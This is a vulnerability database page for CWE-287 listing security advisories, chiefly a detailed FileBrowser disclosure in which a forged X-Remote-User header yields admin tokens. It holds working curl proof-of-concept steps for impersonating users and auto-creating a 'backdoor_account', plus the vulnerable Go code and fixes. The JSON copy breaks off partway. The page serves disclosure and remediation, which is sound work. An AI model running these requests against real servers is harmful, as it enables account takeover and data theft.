Common Weakness Enumeration

CWE-287

Discouraged

Improper Authentication

Abstraction: Class · Status: Draft

API response cwe.mitre.org

When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.

5966 vulnerabilities reference this CWE, most recent first.

GHSA-XQHH-F594-FG34

Vulnerability from github – Published: 2022-12-06 00:30 – Updated: 2022-12-07 15:30
VLAI
Details

Improper authentication in Veeam Backup for Google Cloud v1.0 and v3.0 allows attackers to bypass authentication mechanisms.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-43549"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-12-05T22:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "Improper authentication in Veeam Backup for Google Cloud v1.0 and v3.0 allows attackers to bypass authentication mechanisms.",
  "id": "GHSA-xqhh-f594-fg34",
  "modified": "2022-12-07T15:30:29Z",
  "published": "2022-12-06T00:30:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-43549"
    },
    {
      "type": "WEB",
      "url": "https://www.veeam.com/kb4374"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XQHW-3PQ7-Q944

Vulnerability from github – Published: 2025-02-10 21:31 – Updated: 2025-02-10 21:31
VLAI
Details

Tenda W18E V16.01.0.8(1625) suffers from authentication bypass in the web management portal allowing an unauthorized remote attacker to gain administrative access by sending a specially crafted HTTP request.

Severity
7.3 (High)
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-46434"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-02-10T19:15:38Z",
    "severity": "HIGH"
  },
  "details": "Tenda W18E V16.01.0.8(1625) suffers from authentication bypass in the web management portal allowing an unauthorized remote attacker to gain administrative access by sending a specially crafted HTTP request.",
  "id": "GHSA-xqhw-3pq7-q944",
  "modified": "2025-02-10T21:31:38Z",
  "published": "2025-02-10T21:31:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-46434"
    },
    {
      "type": "WEB",
      "url": "https://reddassolutions.com/blog/tenda_w18e_security_research"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XQP3-JQ6G-X3QM

Vulnerability from github – Published: 2026-07-10 19:27 – Updated: 2026-07-10 19:27
VLAI
Summary
File Browser: Authentication Bypass via Proxy Auth Header Forgery
Details

Summary

When FileBrowser is configured with proxy authentication (auth.method=proxy), any unauthenticated attacker who can reach the server directly can impersonate any user - including admin - by sending a single forged HTTP header. No credentials are required. Additionally, specifying a non-existent username causes the server to automatically create a new user account, providing an account creation primitive with no authorization.

This is an already known issue that has been documented in the documentation for several years, but has not been documented as a vulnerability before.

Severity

HIGH - CVSS 3.1: 8.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)

Affected Component

  • File: auth/proxy.go, lines 21-28
  • CWE: CWE-287 (Improper Authentication), CWE-290 (Authentication Bypass by Spoofing)
  • Affected versions: All versions supporting auth.method=proxy

Prerequisite: Proxy Auth Must Be Enabled

This vulnerability is NOT exploitable on default configuration (auth.method=json). It requires the administrator to have configured proxy authentication mode. However, this is a common production deployment pattern - many organizations run FileBrowser behind a reverse proxy that handles SSO/LDAP/OAuth authentication:

  • nginx + Authelia / Authentik
  • Traefik + OAuth2 Proxy
  • Caddy + forward_auth
  • Apache + mod_auth_ldap

In these setups, the proxy authenticates the user and passes the username via HTTP header (e.g., X-Remote-User). FileBrowser trusts this header to identify the user.

Deployment Scenario Exploitable?
Default install (auth.method=json) No — JSON auth uses password verification
auth.method=proxy + FileBrowser only reachable via proxy (bound to 127.0.0.1 or firewalled) No - attacker cannot reach the server directly
auth.method=proxy + FileBrowser port exposed to network Yes - full admin takeover

The third scenario is common because: - Docker containers publish ports to 0.0.0.0 by default (e.g., -p 8085:80) - Administrators expose the port for debugging, monitoring, or health checks - Cloud deployments may have misconfigured security groups or load balancers - Internal networks often lack strict micro-segmentation

The core issue is that the code itself has zero defensive checks — no trusted IP validation, no shared secret, no origin verification. The entire security model relies on network-level isolation, which is fragile and not documented as a hard requirement.

Root Cause

The ProxyAuth.Auth() function unconditionally trusts the value of an HTTP request header (configured via auth.header, e.g. X-Remote-User) to determine the authenticated user's identity. There are three distinct problems in this code:

Problem 1: No Origin Validation

The function reads the header from any HTTP request regardless of source IP. It does not verify that the request originated from a trusted reverse proxy. Any client on the network can set arbitrary HTTP headers.

File: auth/proxy.go, lines 21-28:

func (a ProxyAuth) Auth(r *http.Request, usr users.Store, setting *settings.Settings, srv *settings.Server) (*users.User, error) {
    username := r.Header.Get(a.Header)  // <-- reads attacker-controlled header, no origin check
    user, err := usr.Get(srv.Root, username)
    if errors.Is(err, fberrors.ErrNotExist) {
        return a.createUser(usr, setting, srv, username)
    }
    return user, err  // <-- returns the user object, no password verification
}

There is no call to verify r.RemoteAddr against a list of trusted proxy IPs, no shared secret validation, and no signature check on the header value.

Problem 2: No Password Verification

Unlike JSON auth (auth/json.go) which validates the password via bcrypt, the proxy auth path returns the user object directly from the database based solely on the header value. The loginHandler in http/auth.go then mints a valid JWT for this user:

File: http/auth.go, lines 121-137:

func loginHandler(tokenExpireTime time.Duration) handleFunc {
    return func(w http.ResponseWriter, r *http.Request, d *data) (int, error) {
        auther, err := d.store.Auth.Get(d.settings.AuthMethod)
        // ...
        user, err := auther.Auth(r, d.store.Users, d.settings, d.server)
        // No additional verification — if auther.Auth() returns a user, a JWT is minted
        return printToken(w, r, d, user, tokenExpireTime)  // <-- signs and returns JWT
    }
}

Problem 3: Automatic User Creation

If the username in the header doesn't exist in the database, createUser() is called unconditionally. This creates a real user account with default permissions, a random locked password, and a home directory:

File: auth/proxy.go, lines 30-63:

func (a ProxyAuth) createUser(usr users.Store, setting *settings.Settings, srv *settings.Server, username string) (*users.User, error) {
    pwd, err := users.RandomPwd(randomPasswordLength)
    // ...
    user := &users.User{
        Username:     username,       // <-- attacker-controlled
        Password:     hashedRandomPassword,
        LockPassword: true,
    }
    setting.Defaults.Apply(user)      // <-- inherits default permissions (may include execute, create, etc.)
    // ...
    err = usr.Save(user)              // <-- persisted to database
    return user, nil
}

This auto-creation has no opt-in flag — it is always active when proxy auth is enabled.

Complete Attack Flow

Attacker sends:   POST /api/login  +  Header: X-Remote-User: admin
                                         |
loginHandler()                           |
  |-> d.store.Auth.Get("proxy")         |
  |-> auther.Auth(r, ...)               |
        |-> ProxyAuth.Auth()             |
              |-> r.Header.Get("X-Remote-User")  ->  "admin"     (attacker-controlled)
              |-> usr.Get(root, "admin")          ->  admin user  (found in DB)
              |-> return user, nil                ->  no password check
  |-> printToken(w, r, d, user, ...)    |
        |-> jwt.NewWithClaims(HS256, claims{user: admin, perm: {admin: true}})
        |-> token.SignedString(key)     ->  valid admin JWT returned to attacker

Proof of Concept

Here is Log testing using Low Privileges Account attacker, get forbidden Login as low priv user then get the auth token "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjp7ImlkIjozLCJsb2NhbGUiOiIiLCJ2aWV3TW9kZSI6Imxpc3QiLCJzaW5nbGVDbGljayI6ZmFsc2UsInJlZGlyZWN0QWZ0ZXJDb3B5TW92ZSI6ZmFsc2UsInBlcm0iOnsiYWRtaW4iOmZhbHNlLCJleGVjdXRlIjp0cnVlLCJjcmVhdGUiOmZhbHNlLCJyZW5hbWUiOmZhbHNlLCJtb2RpZnkiOmZhbHNlLCJkZWxldGUiOmZhbHNlLCJzaGFyZSI6ZmFsc2UsImRvd25sb2FkIjp0cnVlfSwiY29tbWFuZHMiOlsibHMiXSwibG9ja1Bhc3N3b3JkIjpmYWxzZSwiaGlkZURvdGZpbGVzIjpmYWxzZSwiZGF0ZUZvcm1hdCI6ZmFsc2UsInVzZXJuYW1lIjoiYXR0YWNrZXIiLCJhY2VFZGl0b3JUaGVtZSI6IiJ9LCJpc3MiOiJGaWxlIEJyb3dzZXIiLCJleHAiOjE3NzMwMjc2ODksImlhdCI6MTc3MzAyMDQ4OX0.NN0SqBr8lFj7QUACY2770gaGXZhBZ2qJZHDJJ7vQbNM"

root@LAPTOP-VUMRCEKO:~# curl -s http://localhost:8085/api/settings \
  -H "X-Auth: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjp7ImlkIjozLCJsb2NhbGUiOiIiLCJ2aWV3TW9kZSI6Imxpc3QiLCJzaW5nbGVDbGljayI6ZmFsc2UsInJlZGlyZWN0QWZ0ZXJDb3B5TW92ZSI6ZmFsc2UsInBlcm0iOnsiYWRtaW4iOmZhbHNlLCJleGVjdXRlIjp0cnVlLCJjcmVhdGUiOmZhbHNlLCJyZW5hbWUiOmZhbHNlLCJtb2RpZnkiOmZhbHNlLCJkZWxldGUiOmZhbHNlLCJzaGFyZSI6ZmFsc2UsImRvd25sb2FkIjp0cnVlfSwiY29tbWFuZHMiOlsibHMiXSwibG9ja1Bhc3N3b3JkIjpmYWxzZSwiaGlkZURvdGZpbGVzIjpmYWxzZSwiZGF0ZUZvcm1hdCI6ZmFsc2UsInVzZXJuYW1lIjoiYXR0YWNrZXIiLCJhY2VFZGl0b3JUaGVtZSI6IiJ9LCJpc3MiOiJGaWxlIEJyb3dzZXIiLCJleHAiOjE3NzMwMjc2ODksImlhdCI6MTc3MzAyMDQ4OX0.NN0SqBr8lFj7QUACY2770gaGXZhBZ2qJZHDJJ7vQbNM"
403 Forbidden
root@LAPTOP-VUMRCEKO:~#
root@LAPTOP-VUMRCEKO:~#
root@LAPTOP-VUMRCEKO:~# FORGED_TOKEN=$(curl -s -X POST http://localhost:8085/api/login \
  -H "X-Remote-User: admin")
root@LAPTOP-VUMRCEKO:~#
root@LAPTOP-VUMRCEKO:~# curl -s http://localhost:8085/api/settings \
  -H "X-Auth: $FORGED_TOKEN" | python3 -m json.tool
{
    "signup": false,
    "hideLoginButton": true,
    "createUserDir": false,
    "minimumPasswordLength": 12,
    "userHomeBasePath": "/users",
    "defaults": {
        "scope": ".",
        "locale": "en",
        "viewMode": "mosaic",
        "singleClick": false,
        "redirectAfterCopyMove": true,
        "sorting": {
            "by": "",
            "asc": false
        },
        "perm": {
            "admin": false,
            "execute": true,
            "create": true,
            "rename": true,
            "modify": true,
            "delete": true,
            "share": true,
            "download": true
        },
        "commands": [],
        "hideDotfiles": false,
        "dateFormat": false,
        "aceEditorTheme": ""
    },
    "authMethod": "proxy",
    "rules": [],
    "branding": {
        "name": "",
        "disableExternal": false,
        "disableUsedPercentage": false,
        "files": "",
        "theme": "",
        "color": ""
    },
    "tus": {
        "chunkSize": 10485760,
        "retryCount": 5
    },
    "shell": [
        "/bin/sh",
        "-c"
    ],
    "commands": {
        "after_copy": [],
        "after_delete": [],
        "after_rename": [],
        "after_save": [],
        "after_upload": [],
        "before_copy": [],
        "before_delete": [],
        "before_rename": [],
        "before_save": [],
        "before_upload": []
    }
}
root@LAPTOP-VUMRCEKO:~#

image

Prerequisites

  • FileBrowser with proxy auth enabled: bash filebrowser config set --auth.method=proxy --auth.header=X-Remote-User
  • Server is reachable directly (not exclusively behind the reverse proxy)

Step 1: Confirm attacker (non-admin) is blocked

# Using a legitimate non-admin JWT token:
curl -s http://localhost:8085/api/settings \
  -H "X-Auth: <ATTACKER_JWT_TOKEN>"

Result: 403 Forbidden — non-admin users cannot access /api/settings

Step 2: Forge admin identity — no credentials needed

# Just one header, no password:
FORGED_TOKEN=$(curl -s -X POST http://localhost:8085/api/login \
  -H "X-Remote-User: admin")

echo "$FORGED_TOKEN"
# eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjp7ImlkIjoxLC... (608 bytes)

Result: Valid JWT token returned for admin user (ID: 1, perm.admin: true)

Step 3: Access admin-only endpoints with forged token

# Read full server configuration (admin-only):
curl -s http://localhost:8085/api/settings \
  -H "X-Auth: $FORGED_TOKEN"

Result: 200 OK - complete server settings returned:

{
    "authMethod": "proxy",
    "shell": ["/bin/sh", "-c"],
    "signup": false,
    "defaults": { "perm": { "admin": false, "execute": true, ... } },
    ...
}

Step 4: Enumerate all user accounts

curl -s http://localhost:8085/api/users \
  -H "X-Auth: $FORGED_TOKEN"

Result: All user accounts with full details (usernames, permissions, scopes, commands)

Step 5: Impersonate any other user

# Impersonate "testuser" — access their files without knowing their password:
VICTIM_TOKEN=$(curl -s -X POST http://localhost:8085/api/login \
  -H "X-Remote-User: testuser")

curl -s http://localhost:8085/api/resources/ \
  -H "X-Auth: $VICTIM_TOKEN"

Result: Full file listing of testuser's scope

Step 6: Auto-create a new user account

# This username doesn't exist — server creates it automatically:
NEW_TOKEN=$(curl -s -X POST http://localhost:8085/api/login \
  -H "X-Remote-User: backdoor_account")

Result: New user backdoor_account created in the database with default permissions, JWT returned

Validated Results

Tested against filebrowser/filebrowser:latest Docker image on 2026-03-09:

Test Result
Attacker token (non-admin) -> GET /api/settings 403 Forbidden (blocked)
Forged header X-Remote-User: admin -> POST /api/login 200 OK — valid admin JWT (608 bytes)
Forged admin token -> GET /api/settings 200 OK — full server config returned
Forged admin token -> GET /api/users 200 OK — all user accounts listed
Forged header X-Remote-User: testuser 200 OK — testuser JWT, files accessible
Forged header X-Remote-User: nonexistent_user 200 OK — new user auto-created, JWT returned

Impact

An unauthenticated attacker who can reach the FileBrowser instance directly can:

  1. Full admin takeover — impersonate the admin user and gain complete control
  2. Read all server settings — shell configuration, permissions, branding, rules
  3. Enumerate and impersonate all users — access every user's files without credentials
  4. Create unlimited backdoor accounts — auto-creation generates persistent accounts
  5. Modify server configuration — enable command execution, change shell, alter rules
  6. Chain with other vulnerabilities — gain admin access -> enable shell mode -> achieve RCE

Attack cost: Zero credentials. One HTTP header.

Suggested Remediation

Fix 1: Add trusted proxy IP validation (recommended)

type ProxyAuth struct {
    Header         string   `json:"header"`
    TrustedProxies []string `json:"trustedProxies"` // New: list of trusted proxy IPs/CIDRs
}

func (a ProxyAuth) Auth(r *http.Request, usr users.Store, setting *settings.Settings, srv *settings.Server) (*users.User, error) {
    // Verify request originates from a trusted reverse proxy
    clientIP := realip.FromRequest(r)
    if !a.isTrustedProxy(clientIP) {
        return nil, fmt.Errorf("proxy auth: request from untrusted source %s", clientIP)
    }

    username := r.Header.Get(a.Header)
    if username == "" {
        return nil, os.ErrPermission
    }

    user, err := usr.Get(srv.Root, username)
    if errors.Is(err, fberrors.ErrNotExist) {
        if a.AutoCreateUsers {  // Make opt-in
            return a.createUser(usr, setting, srv, username)
        }
        return nil, os.ErrPermission
    }
    return user, err
}

Fix 2: Make auto-user-creation opt-in

Add a configuration flag auth.proxy.createUsers (default: false) so administrators must explicitly enable automatic account creation.

Fix 3: Documentation warning

Clearly document that when using proxy auth: - FileBrowser MUST NOT be directly accessible from untrusted networks - Bind to 127.0.0.1 or use firewall rules to ensure only the reverse proxy can reach it - The reverse proxy MUST strip/overwrite the configured header from client requests

References

  • Source file: https://github.com/filebrowser/filebrowser/blob/main/auth/proxy.go
  • Login handler: https://github.com/filebrowser/filebrowser/blob/main/http/auth.go#L121-L137
  • CWE-287: https://cwe.mitre.org/data/definitions/287.html
  • CWE-290: https://cwe.mitre.org/data/definitions/290.html
  • OWASP Authentication Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html
Severity
9.1 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/filebrowser/filebrowser/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0-rc.1"
            },
            {
              "last_affected": "2.63.18"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54089"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287",
      "CWE-290"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-10T19:27:13Z",
    "nvd_published_at": "2026-06-25T19:16:40Z",
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nWhen FileBrowser is configured with proxy authentication (`auth.method=proxy`), any unauthenticated attacker who can reach the server directly can impersonate **any user - including admin** - by sending a single forged HTTP header. No credentials are required. Additionally, specifying a non-existent username causes the server to **automatically create a new user account**, providing an account creation primitive with no authorization.\n\n**This is an already known issue that has been documented in the documentation for several years, but has not been documented as a vulnerability before.**\n\n## Severity\n\n**HIGH** - CVSS 3.1: **8.1** (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)\n\n## Affected Component\n\n- **File:** [`auth/proxy.go`](https://github.com/filebrowser/filebrowser/blob/main/auth/proxy.go), lines 21-28\n- **CWE:** [CWE-287](https://cwe.mitre.org/data/definitions/287.html) (Improper Authentication), [CWE-290](https://cwe.mitre.org/data/definitions/290.html) (Authentication Bypass by Spoofing)\n- **Affected versions:** All versions supporting `auth.method=proxy`\n\n## Prerequisite: Proxy Auth Must Be Enabled\n\nThis vulnerability is **NOT exploitable on default configuration** (`auth.method=json`). It requires the administrator to have configured proxy authentication mode. However, this is a **common production deployment pattern** - many organizations run FileBrowser behind a reverse proxy that handles SSO/LDAP/OAuth authentication:\n\n- **nginx** + Authelia / Authentik\n- **Traefik** + OAuth2 Proxy\n- **Caddy** + forward_auth\n- **Apache** + mod_auth_ldap\n\nIn these setups, the proxy authenticates the user and passes the username via HTTP header (e.g., `X-Remote-User`). FileBrowser trusts this header to identify the user.\n\n| Deployment Scenario | Exploitable? |\n|---|---|\n| Default install (`auth.method=json`) | **No** \u2014 JSON auth uses password verification |\n| `auth.method=proxy` + FileBrowser only reachable via proxy (bound to `127.0.0.1` or firewalled) | **No** - attacker cannot reach the server directly |\n| `auth.method=proxy` + FileBrowser port exposed to network | **Yes - full admin takeover** |\n\nThe third scenario is common because:\n- Docker containers publish ports to `0.0.0.0` by default (e.g., `-p 8085:80`)\n- Administrators expose the port for debugging, monitoring, or health checks\n- Cloud deployments may have misconfigured security groups or load balancers\n- Internal networks often lack strict micro-segmentation\n\nThe core issue is that the **code itself has zero defensive checks** \u2014 no trusted IP validation, no shared secret, no origin verification. The entire security model relies on network-level isolation, which is fragile and not documented as a hard requirement.\n\n## Root Cause\n\nThe `ProxyAuth.Auth()` function unconditionally trusts the value of an HTTP request header (configured via `auth.header`, e.g. `X-Remote-User`) to determine the authenticated user\u0027s identity. There are **three distinct problems** in this code:\n\n### Problem 1: No Origin Validation\n\nThe function reads the header from **any** HTTP request regardless of source IP. It does not verify that the request originated from a trusted reverse proxy. Any client on the network can set arbitrary HTTP headers.\n\n**File: [`auth/proxy.go`](https://github.com/filebrowser/filebrowser/blob/main/auth/proxy.go), lines 21-28:**\n\n```go\nfunc (a ProxyAuth) Auth(r *http.Request, usr users.Store, setting *settings.Settings, srv *settings.Server) (*users.User, error) {\n    username := r.Header.Get(a.Header)  // \u003c-- reads attacker-controlled header, no origin check\n    user, err := usr.Get(srv.Root, username)\n    if errors.Is(err, fberrors.ErrNotExist) {\n        return a.createUser(usr, setting, srv, username)\n    }\n    return user, err  // \u003c-- returns the user object, no password verification\n}\n```\n\nThere is no call to verify `r.RemoteAddr` against a list of trusted proxy IPs, no shared secret validation, and no signature check on the header value.\n\n### Problem 2: No Password Verification\n\nUnlike JSON auth (`auth/json.go`) which validates the password via bcrypt, the proxy auth path returns the user object directly from the database based solely on the header value. The `loginHandler` in `http/auth.go` then mints a valid JWT for this user:\n\n**File: [`http/auth.go`](https://github.com/filebrowser/filebrowser/blob/main/http/auth.go), lines 121-137:**\n\n```go\nfunc loginHandler(tokenExpireTime time.Duration) handleFunc {\n    return func(w http.ResponseWriter, r *http.Request, d *data) (int, error) {\n        auther, err := d.store.Auth.Get(d.settings.AuthMethod)\n        // ...\n        user, err := auther.Auth(r, d.store.Users, d.settings, d.server)\n        // No additional verification \u2014 if auther.Auth() returns a user, a JWT is minted\n        return printToken(w, r, d, user, tokenExpireTime)  // \u003c-- signs and returns JWT\n    }\n}\n```\n\n### Problem 3: Automatic User Creation\n\nIf the username in the header doesn\u0027t exist in the database, `createUser()` is called unconditionally. This creates a real user account with default permissions, a random locked password, and a home directory:\n\n**File: [`auth/proxy.go`](https://github.com/filebrowser/filebrowser/blob/main/auth/proxy.go), lines 30-63:**\n\n```go\nfunc (a ProxyAuth) createUser(usr users.Store, setting *settings.Settings, srv *settings.Server, username string) (*users.User, error) {\n    pwd, err := users.RandomPwd(randomPasswordLength)\n    // ...\n    user := \u0026users.User{\n        Username:     username,       // \u003c-- attacker-controlled\n        Password:     hashedRandomPassword,\n        LockPassword: true,\n    }\n    setting.Defaults.Apply(user)      // \u003c-- inherits default permissions (may include execute, create, etc.)\n    // ...\n    err = usr.Save(user)              // \u003c-- persisted to database\n    return user, nil\n}\n```\n\nThis auto-creation has no opt-in flag \u2014 it is always active when proxy auth is enabled.\n\n### Complete Attack Flow\n\n```\nAttacker sends:   POST /api/login  +  Header: X-Remote-User: admin\n                                         |\nloginHandler()                           |\n  |-\u003e d.store.Auth.Get(\"proxy\")         |\n  |-\u003e auther.Auth(r, ...)               |\n        |-\u003e ProxyAuth.Auth()             |\n              |-\u003e r.Header.Get(\"X-Remote-User\")  -\u003e  \"admin\"     (attacker-controlled)\n              |-\u003e usr.Get(root, \"admin\")          -\u003e  admin user  (found in DB)\n              |-\u003e return user, nil                -\u003e  no password check\n  |-\u003e printToken(w, r, d, user, ...)    |\n        |-\u003e jwt.NewWithClaims(HS256, claims{user: admin, perm: {admin: true}})\n        |-\u003e token.SignedString(key)     -\u003e  valid admin JWT returned to attacker\n```\n\n## Proof of Concept\n\nHere is Log testing using Low Privileges Account attacker, get forbidden\nLogin as low priv user then get the auth token `\"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjp7ImlkIjozLCJsb2NhbGUiOiIiLCJ2aWV3TW9kZSI6Imxpc3QiLCJzaW5nbGVDbGljayI6ZmFsc2UsInJlZGlyZWN0QWZ0ZXJDb3B5TW92ZSI6ZmFsc2UsInBlcm0iOnsiYWRtaW4iOmZhbHNlLCJleGVjdXRlIjp0cnVlLCJjcmVhdGUiOmZhbHNlLCJyZW5hbWUiOmZhbHNlLCJtb2RpZnkiOmZhbHNlLCJkZWxldGUiOmZhbHNlLCJzaGFyZSI6ZmFsc2UsImRvd25sb2FkIjp0cnVlfSwiY29tbWFuZHMiOlsibHMiXSwibG9ja1Bhc3N3b3JkIjpmYWxzZSwiaGlkZURvdGZpbGVzIjpmYWxzZSwiZGF0ZUZvcm1hdCI6ZmFsc2UsInVzZXJuYW1lIjoiYXR0YWNrZXIiLCJhY2VFZGl0b3JUaGVtZSI6IiJ9LCJpc3MiOiJGaWxlIEJyb3dzZXIiLCJleHAiOjE3NzMwMjc2ODksImlhdCI6MTc3MzAyMDQ4OX0.NN0SqBr8lFj7QUACY2770gaGXZhBZ2qJZHDJJ7vQbNM\"`\n\n```\nroot@LAPTOP-VUMRCEKO:~# curl -s http://localhost:8085/api/settings \\\n  -H \"X-Auth: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjp7ImlkIjozLCJsb2NhbGUiOiIiLCJ2aWV3TW9kZSI6Imxpc3QiLCJzaW5nbGVDbGljayI6ZmFsc2UsInJlZGlyZWN0QWZ0ZXJDb3B5TW92ZSI6ZmFsc2UsInBlcm0iOnsiYWRtaW4iOmZhbHNlLCJleGVjdXRlIjp0cnVlLCJjcmVhdGUiOmZhbHNlLCJyZW5hbWUiOmZhbHNlLCJtb2RpZnkiOmZhbHNlLCJkZWxldGUiOmZhbHNlLCJzaGFyZSI6ZmFsc2UsImRvd25sb2FkIjp0cnVlfSwiY29tbWFuZHMiOlsibHMiXSwibG9ja1Bhc3N3b3JkIjpmYWxzZSwiaGlkZURvdGZpbGVzIjpmYWxzZSwiZGF0ZUZvcm1hdCI6ZmFsc2UsInVzZXJuYW1lIjoiYXR0YWNrZXIiLCJhY2VFZGl0b3JUaGVtZSI6IiJ9LCJpc3MiOiJGaWxlIEJyb3dzZXIiLCJleHAiOjE3NzMwMjc2ODksImlhdCI6MTc3MzAyMDQ4OX0.NN0SqBr8lFj7QUACY2770gaGXZhBZ2qJZHDJJ7vQbNM\"\n403 Forbidden\nroot@LAPTOP-VUMRCEKO:~#\nroot@LAPTOP-VUMRCEKO:~#\nroot@LAPTOP-VUMRCEKO:~# FORGED_TOKEN=$(curl -s -X POST http://localhost:8085/api/login \\\n  -H \"X-Remote-User: admin\")\nroot@LAPTOP-VUMRCEKO:~#\nroot@LAPTOP-VUMRCEKO:~# curl -s http://localhost:8085/api/settings \\\n  -H \"X-Auth: $FORGED_TOKEN\" | python3 -m json.tool\n{\n    \"signup\": false,\n    \"hideLoginButton\": true,\n    \"createUserDir\": false,\n    \"minimumPasswordLength\": 12,\n    \"userHomeBasePath\": \"/users\",\n    \"defaults\": {\n        \"scope\": \".\",\n        \"locale\": \"en\",\n        \"viewMode\": \"mosaic\",\n        \"singleClick\": false,\n        \"redirectAfterCopyMove\": true,\n        \"sorting\": {\n            \"by\": \"\",\n            \"asc\": false\n        },\n        \"perm\": {\n            \"admin\": false,\n            \"execute\": true,\n            \"create\": true,\n            \"rename\": true,\n            \"modify\": true,\n            \"delete\": true,\n            \"share\": true,\n            \"download\": true\n        },\n        \"commands\": [],\n        \"hideDotfiles\": false,\n        \"dateFormat\": false,\n        \"aceEditorTheme\": \"\"\n    },\n    \"authMethod\": \"proxy\",\n    \"rules\": [],\n    \"branding\": {\n        \"name\": \"\",\n        \"disableExternal\": false,\n        \"disableUsedPercentage\": false,\n        \"files\": \"\",\n        \"theme\": \"\",\n        \"color\": \"\"\n    },\n    \"tus\": {\n        \"chunkSize\": 10485760,\n        \"retryCount\": 5\n    },\n    \"shell\": [\n        \"/bin/sh\",\n        \"-c\"\n    ],\n    \"commands\": {\n        \"after_copy\": [],\n        \"after_delete\": [],\n        \"after_rename\": [],\n        \"after_save\": [],\n        \"after_upload\": [],\n        \"before_copy\": [],\n        \"before_delete\": [],\n        \"before_rename\": [],\n        \"before_save\": [],\n        \"before_upload\": []\n    }\n}\nroot@LAPTOP-VUMRCEKO:~#\n```\n\u003cimg width=\"1487\" height=\"757\" alt=\"image\" src=\"https://github.com/user-attachments/assets/a777321e-14a4-4720-9f8e-423d5f7cdf74\" /\u003e\n\n\n### Prerequisites\n\n- FileBrowser with proxy auth enabled:\n  ```bash\n  filebrowser config set --auth.method=proxy --auth.header=X-Remote-User\n  ```\n- Server is reachable directly (not exclusively behind the reverse proxy)\n\n### Step 1: Confirm attacker (non-admin) is blocked\n\n```bash\n# Using a legitimate non-admin JWT token:\ncurl -s http://localhost:8085/api/settings \\\n  -H \"X-Auth: \u003cATTACKER_JWT_TOKEN\u003e\"\n```\n\n**Result:** `403 Forbidden` \u2014 non-admin users cannot access `/api/settings`\n\n### Step 2: Forge admin identity \u2014 no credentials needed\n\n```bash\n# Just one header, no password:\nFORGED_TOKEN=$(curl -s -X POST http://localhost:8085/api/login \\\n  -H \"X-Remote-User: admin\")\n\necho \"$FORGED_TOKEN\"\n# eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjp7ImlkIjoxLC... (608 bytes)\n```\n\n**Result:** Valid JWT token returned for admin user (ID: 1, `perm.admin: true`)\n\n### Step 3: Access admin-only endpoints with forged token\n\n```bash\n# Read full server configuration (admin-only):\ncurl -s http://localhost:8085/api/settings \\\n  -H \"X-Auth: $FORGED_TOKEN\"\n```\n\n**Result:** `200 OK` - complete server settings returned:\n\n```json\n{\n    \"authMethod\": \"proxy\",\n    \"shell\": [\"/bin/sh\", \"-c\"],\n    \"signup\": false,\n    \"defaults\": { \"perm\": { \"admin\": false, \"execute\": true, ... } },\n    ...\n}\n```\n\n### Step 4: Enumerate all user accounts\n\n```bash\ncurl -s http://localhost:8085/api/users \\\n  -H \"X-Auth: $FORGED_TOKEN\"\n```\n\n**Result:** All user accounts with full details (usernames, permissions, scopes, commands)\n\n### Step 5: Impersonate any other user\n\n```bash\n# Impersonate \"testuser\" \u2014 access their files without knowing their password:\nVICTIM_TOKEN=$(curl -s -X POST http://localhost:8085/api/login \\\n  -H \"X-Remote-User: testuser\")\n\ncurl -s http://localhost:8085/api/resources/ \\\n  -H \"X-Auth: $VICTIM_TOKEN\"\n```\n\n**Result:** Full file listing of testuser\u0027s scope\n\n### Step 6: Auto-create a new user account\n\n```bash\n# This username doesn\u0027t exist \u2014 server creates it automatically:\nNEW_TOKEN=$(curl -s -X POST http://localhost:8085/api/login \\\n  -H \"X-Remote-User: backdoor_account\")\n```\n\n**Result:** New user `backdoor_account` created in the database with default permissions, JWT returned\n\n## Validated Results\n\nTested against `filebrowser/filebrowser:latest` Docker image on 2026-03-09:\n\n| Test | Result |\n|------|--------|\n| Attacker token (non-admin) -\u003e `GET /api/settings` | **`403 Forbidden`** (blocked) |\n| Forged header `X-Remote-User: admin` -\u003e `POST 